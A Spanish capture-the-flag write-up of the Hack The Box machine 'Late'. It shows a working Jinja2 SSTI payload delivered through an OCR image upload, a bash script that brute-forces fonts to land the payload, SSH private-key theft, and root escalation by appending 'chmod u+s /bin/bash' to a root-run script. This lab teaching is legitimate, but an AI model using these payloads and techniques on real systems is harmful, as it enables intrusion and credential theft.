Máquina Linux donde al enumerar encontramos un servicio web abierto que aplicaba Virtual Hosting y nos permitia llegar a otra web con un programa para convertir imágenes a texto Optical Character Recognotion (OCR) con el framework Flask, el cuál era vulnerable a SSTI con un payload basado en el template Jinja. Logramos Remote Code Execution (RCE), leemos la llave privada y conseguimos la shell por SSH. Para la escalada tiramos de pspy y encontramos un script cron que ejecutaba el usuario root cada vez que un usuario entraba por SSH, además aplicaba una asignación de atributo para poder modificar el archivo de una manera peculiar pero sencilla. Por último, agregamos un comando al script para asignar permisos SUID a la bash, volvemos a iniciar sesión por SSH, ejecutamos la bash en modo privilegiado y obtenemos la shell como root
OS | IP | Release Date | Difficulty | Points |
---|---|---|---|---|
Linux | 10.10.11.156 | 23 Apr 2022 | Easy | 20 |
Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:
1
2
3
4
5
6
7
8
> ping -c1 10.10.11.156
PING 10.10.11.156 (10.10.11.156) 56(84) bytes of data.
64 bytes from 10.10.11.156: icmp_seq=1 ttl=63 time=116 ms
\______________________ Linux Machine
--- 10.10.11.156 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
\_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 115.778/115.778/115.778/0.000 ms
Explicación de parámetros:
-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina
Enumeration
Con nmap
realizamos un escaneo de tipo TCP (Transfer Control Protocol) para descubrir puertos abiertos:
1
2
3
4
5
6
7
8
9
10
❯ nmap -p- --open -sS --min-rate 5000 -n 10.10.11.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 18:10 -05
Nmap scan report for 10.10.11.156
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
\_________ Secure Shell Protocol
80/tcp open http
\_________ HyperText Transfer Protocol
Explicación de parámetros :
-p- : Escanear todos los puertos, del 1 al 65,535
--open : Escanear solo puertos abiertos
-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo
--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo
-v : Imprimir información del proceso del escaneo
Ahora escaneamos de manera específica los puertos 22 (SSH) - 80 (HTTP) en cuestión:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -p 22,80 -sCV -oN targetTCP 10.10.11.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 18:15 -05
Nmap scan report for images.late.htb (10.10.11.156)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Image Reader
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explicación de parámetros :
-p <port_1,port_2,...> : Indicamos que puertos queremos escanear
-sC : Ejecutar en los puertos scripts por defecto de nmap
-sV : Activar detección de versiones de los servicios que corren por los puertos
-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap
Ya que no disponemos de credenciales para entrar por SSH, empezamos con el servicio web que corre por el puerto 80 (HTTP):
Con
whatweb
podemos ver tecnologías que usa el sitio
1
2
❯ whatweb http://10.10.11.156
http://10.10.11.156 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], Email[#,support@late.htb], Google-API[ajax/libs/jquery/1.10.2/jquery.min.js], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.156], JQuery[1.10.2], Meta-Author[Sergey Pozhilov (GetTemplate.com)], Script, Title[Late - Best online image tools], nginx[1.14.0]
Si quieres una opción gráfica puedes usar en tu navegador la extensión Wappalyzer y ver las tecnologías
Con
Firefox
podemos ver el sitio web
Solo encontramos de interesante el subdominio images.late.htb
, lo agregamos a nuestro archivo /etc/hosts: echo "10.10.11.156 images.late.htb" >> /etc/hosts
para aplicar Virtual hosting:
Tambien podemos encontrar el subdominio usando
curl
1
2
❯ curl -s "http://10.10.11.156" | grep -oE "http.*htb" | sort -u
http://images.late.htb
Observamos una web con la funcionalidad de convertir una imagen a texto usando Flask. Averiguamos en internet para entender mejor los conceptos:
¿ Qué es
Flask
?
Mas información: https://pythonbasics.org/what-is-flask-python/
¿ Qué es la tecnología
OCR
?
Mas información: https://www.ibm.com/cloud/blog/optical-character-recognition
Está muy claro que solo nos permite subir imágenes (.png, .jpeg), pero que tal si intentamos engañar al programa pasandole un archivo .png con una cadena de texto: echo 'testing' > test.png
Ojito!, vemos un mensaje de error y recibimos la ruta completa del archivo subido. Como es costumbre, los usuarios se ubican en la ruta home
, con ello podemos deducir que existe un usuario llamado svc_acc
Buscando aplicaciones OCR que usen
Flask
, encontramos un repositorio deGitHub
con una interfaz muy similar: https://github.com/lucadibello/ImageReader
Examinando que réquisitos necesita observamos Jinja2
. Además, con la información sobre Flask sabemos que depende del template Jinja2
¿ Qué es Jinja ?
Más información: https://palletsprojects.com/p/jinja/
Foothold
Con la idea de como trabaja por detrás este software procedemos a buscar vulnerabilidades y encontramos un posible SSTI
(Server Site Template Injection) que proviene del Template Jinja
que usa el framework Flask
:
Validamos que es vulnerable:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ convert -pointsize 18 label:'{ { 7 * 7 } }' test.png
\_________________________________________________ Create image from a text
❯ curl -is -XPOST -F "file=@test.png" http://images.late.htb/scanner
\_________________________________________________ Transfer data to server
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 10 May 2022 05:45:00 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 10
Connection: keep-alive
Content-Disposition: attachment; filename=results.txt
Last-Modified: Tue, 10 May 2022 05:45:00 GMT
Cache-Control: no-cache
ETag: "1652161500.115982-10-372837928"
<p>49 ______________________________ Vulnerable to SSTI !
</p>
Explicación de parámetros :
convert :
-pointsize <number>: Asignar tamaño a la fuente del texto
label:<text> : Asignar texto a convertir
curl :
-is : Incluir cabezeras en la respuesta HTTP y ocultar medidor de progreso/posibles errores
-F “<form-field_name>=@<file_name>”: Permite subir archivos/data por POST
Para hacer la conversión puedes usar muchas herramientas
online
, y para la petición, la misma web te dara la respuesta en un.txt
. También puedes usarburpsuite
para visualizar la respuesta.
Mas información sobre SSTI Flask: https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/
Al intentar subir imágenes nos dimos cuenta que el tamaño de la letra y probablemente la fuente, afectan la ejecución de la inyeccción.
Para conseguir la ejecución hice un script en bash
al cuál le pasas un payload del template Jinja
; aplicando Bypassing '_'
y quitando las llaves { { } }
; para luego probar con diferentes fuentes y tamaños, validar que la conversión se realizo correctamente y ejecutarlo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
# Script to find the font and size for payload execution
# extract fonts
if [ ! -f fonts.txt ]; then
curl -s https://www.azfonts.net/fonts/popular | grep "font-item__title" -A 1 | grep -v "font-item__title" | awk -F">" '{print $2}' | sed 's/<\/strong//g' | tr -s '\n' | sed '51,100d'
fi
# variables
c=1
payload=$1
url="http://images.late.htb/scanner"
while read font; do
clear
sleep 2
echo $c "[+] "$font
size=8
for i in $(seq 1 20); do
data=$(echo Size : $size - Fontsize : $font)
convert -pointsize $size -font "$font" label:"$payload" data.png
sleep 0.5
echo -e "\t" "Fontsize : $size"
output=$(curl -is -XPOST -F "file=@data.png" $url | grep "<p>" | awk -F ">" '{print $2}')
echo -e "\t" $output
if [ "$output" = "$payload" ]; then
echo -e "\n\n[!] Same payload -> " $data
exec="{ { $payload } }"
convert -pointsize $size -font "$font" label:"$exec" data.png
echo -e "[+] Payload converted to execution:\n"
curl -s -XPOST -F "file=@data.png" $url
exit 1
fi
let size+=2
done
let c+=1
done < fonts.txt
Pueden encontrar el script en mi repositorio: https://github.com/E1P0TR0
Recordamos que vimos un usuario llamado svc_acc
, además sabemos que el puerto 22 estaba abierto. Así que en la clásica ruta /home/{user}/.ssh/private_key
logramos visualizar la private_key
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ./script.sh 'get_flashed_messages["__globals__"]["__builtins__"].open("/home/svc_acc/.ssh/id_rsa").read()'
1 [+] Avenir Pro Light
Fontsize : 8
Qet_fashed_messages[_ gobais "T_ bulltms_ “].opan|"nome'svc_acc/.ssid rsa”) read{)
Fontsize : 10
.s j.open("/home/svc_acc/.ssh/id_rsa").read() Fontsize : 12
get_flashed_messages["_ globals__"J["__builtins__"].open("/yhome/svc_ace/.ssh/id_rsa").read()
Fontsize : 14
get flashed _messages[" globals_ "]["__ builtins _"].open("/home/svc_acc/.ssh/id_rsa").read()
Fontsize : 16
get_flashed_messages["__globals__"J["__builtins__"].open("/home/svc_acc/.ssh/id_rsa").read()
Fontsize : 18
get_flashed_messages["__globals__"]["__builtins__"].open("/home/svc_acc/.ssh/id_rsa").read()
[!] Same payload -> Size : 18 - Fontsize : Avenir Pro Light
[+] Payload converted to execution:
<p>-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
****************************************************************
****************************************************************
</p>
Gran Repositorio de Template Inyections: https://github.com/swisskyrepo/PayloadsAllTheThings
Ahora guardamos la llave en un archivo llamado id_rsa
, le damos permisos de una llave privada chmod 600
y pa-dentro:
1
2
3
4
5
❯ chmod 600 id_rsa
❯ ssh -i id_rsa svc_acc@10.10.11.156
No mail.
svc_acc@late:~$ find / -name user.txt 2>/dev/null | xargs ls -l
-rw-r----- 1 root svc_acc 33 May 10 04:20 /home/svc_acc/user.txt
Privilege Escalation
Después de una enumeración básica no logramos encontrar algo interesante. Pero nos dimos cuenta al entrar por SSH el mensaje No mail, además en la enumeración encontramos archivos .bak
(backups), pero no logramos obtener credenciales.
Ahora procedemos a listar cron jobs y comandos que executan los usuarios del sistema, para ello usamos la herramienta pspy
:
Descargamos la herramienta en su repositorio: https://github.com/DominicBreuker/pspy
En nuestra máquina montamos un servicio web con
php
:
1
2
3
4
❯ ls
pspy64
❯ php -S 0.0.0.0:1234
[Tue May 10 20:28:33 2022] PHP 8.1.2 Development Server (http://0.0.0.0:1234) started
En la máquina víctima descargamos el archivo
pspy64
en una carpeta con acceso:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc_acc@late:~$ cd /tmp/
svc_acc@late:/tmp$ mkdir privesc
svc_acc@late:/tmp$ cd !$
cd privesc
svc_acc@late:/tmp/privesc$ wget http://10.10.14.181:1234/pspy64
--2022-05-11 01:33:35-- http://10.10.14.181:1234/pspy64
Connecting to 10.10.14.181:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M)
Saving to: ‘pspy64’
pspy64 100%[============================================================>] 2.94M 1.58MB/s in 1.9s
2022-05-11 01:33:37 (1.58 MB/s) - ‘pspy64’ saved [3078592/3078592]
Por último le damos permisos de ejecución, lo ejecutamos y encontramos algo interesante:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
svc_acc@late:/tmp/privesc$ chmod +x pspy64 [174/174]
svc_acc@late:/tmp/privesc$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotif
y events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
.................................................
......................................................
...............................................
2022/05/11 01:56:27 CMD: UID=0 PID=1662 | sendmail: MTA: accepting connections
.................................................
............................................
2022/05/11 01:58:01 CMD: UID=0 PID=4207 | /bin/bash /root/scripts/cron.sh
2022/05/11 01:58:01 CMD: UID=0 PID=4208 | rm /usr/local/sbin/ssh-alert.sh
2022/05/11 01:58:01 CMD: UID=0 PID=4209 | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
2022/05/11 01:58:01 CMD: UID=0 PID=4211 | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
2022/05/11 01:58:01 CMD: UID=0 PID=4213 | rm -r /home/svc_acc/app/uploads/* 2>/dev/null
2022/05/11 01:58:01 CMD: UID=0 PID=4215 | chattr +a /usr/local/sbin/ssh-alert.sh
.........................................
...................................................
Primero vemos un mensaje de sendmail
, el cuál es un agente de transferencias de correo MTA (Mail Transfer Agent)
También observamos que el usuario root UID=0
ejecuta un script cron.h
, que por el nombre podemos deducir que será. Sabemos que cron
es un clock daemon que permite a los usuarios automatizar la ejecución de comandos en el sistema sobre un intervalo de tiempo especificado.
Luego vemos que se ejecutan más comandos y observamos que el usuario root copia el script ssh-alert.sh
a la ruta /usr/local/sbin/
, nos otorga como propietarios y luego usa chattr
para cambiar atributos al archivo. Se ve interesante, así que procedemos a ver el contenido:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
Lo que haces el script es enviar por medio de sendmail
un correo al usuario root avisandole sobre un inicio de sesión por SSH. Entonces podemos deducir que cada vez que un usuario inica sesión el usuario root ejecutara este script.
Para comprobarlo podemos tirar
pspy
de una sesión y luego en otra ventana volver a conectarnos por SSH y comprobaremos que el usuario root ejecuta el scriptssh-alert.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
svc_acc@late:/tmp/privesc$ ./pspy64
.................................................
....................................................
...........................................
2022/05/12 00:41:25 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2022/05/12 00:41:31 CMD: UID=0 PID=19472 | /usr/sbin/sshd -D -R
2022/05/12 00:41:31 CMD: UID=110 PID=19473 | sshd: [net]
2022/05/12 00:41:32 CMD: UID=0 PID=19474 | /bin/bash /usr/local/sbin/ssh-alert.sh
command execution ! ________________________/
2022/05/12 00:41:32 CMD: UID=0 PID=19478 | /bin/bash /usr/local/sbin/ssh-alert.sh
2022/05/12 00:41:32 CMD: UID=0 PID=19479 | sendmail: MTA: 24C0fWVM019479 localhost.localdomain [127.0.0.1]: DATA
2022/05/12 00:41:32 CMD: UID=0 PID=19480 | sendmail: MTA: ./24C0fWVM019479 from queue
2022/05/12 00:41:32 CMD: UID=1000 PID=19481 | sshd: svc_acc
2022/05/12 00:41:32 CMD: UID=0 PID=19482 | /etc/mail/smrsh/procmail -t -f svc_acc@new -a -d root
2022/05/12 00:41:32 CMD: UID=1000 PID=19483 | -bash
.........................................
...............................................
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ ssh -i id_rsa svc_acc@10.10.11.156
No mail.
svc_acc@late:~$
Ya validamos que el usuario ejecuta el script /usr/local/sbin/ssh-alert.sh
que previamente copiṕ.
Ahora facilmente podemos abrir el archivo y escribir el comando chmod u+s /bin/bash
para poder ejecutar una bash (intérpetre de comandos) como root y obtener la shell. La idea es correcta, pero no nos permite abrir el archivo y modificarlo, aunque eso no es tan cierto…
Antes, en la ejecución de pspy
, vimos que al script se aplicaba el comando chattr +a
, pero que hace exactamente?
Un poco más de información del comando: https://www.geeksforgeeks.org/chattr-command-in-linux-with-examples/
Entonces lo que hace es cambiar atributos de archivos, y en este caso el paramtro +a
solo permite escribir en el archivo agregando información, entonces podemos usar el comando para output >>
y así poder modificar el archivo.
Si queremos confirmar estos permisos podemos verlos usando el comando lsattr
:
1
2
3
4
svc_acc@late:/usr/local/sbin$ lsattr ssh-alert.sh
-----a--------e--- ssh-alert.sh
svc_acc@late:/usr/local/sbin$ lsattr -l ssh-alert.sh
ssh-alert.sh Append_Only, Extents
Usamos el parametro
-l
para usar el nombre descriptivo y saber que significa
Ahora solo agregamos el comando al script echo "chmod u+s /bin/bash" >> ssh-alert.sh
, volvemos a logearnos por SSH, el usuario root ejecutará el script, el comando bash
tendra permisos SUID (nos permite ejecutar el comando con los permisos del propietario), luego ejecutamos el comando bash
con el parámetro -p
para que sea efectivo el permiso SUID, mantener el UID de root, obtener la shell y pa-dentro:
1
2
3
4
5
6
7
8
9
10
11
12
13
svc_acc@late:/usr/local/sbin$ echo "chmod u+s /bin/bash" >> ssh-alert.sh
svc_acc@late:/usr/local/sbin$ exit
logout
Connection to 10.10.11.156 closed.
❯ ssh -i id_rsa svc_acc@10.10.11.156
No mail.
bash-4.4$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# find / -name root.txt 2>/dev/null | xargs ls -l
-rw-r----- 1 root root 33 May 11 20:15 /root/root.txt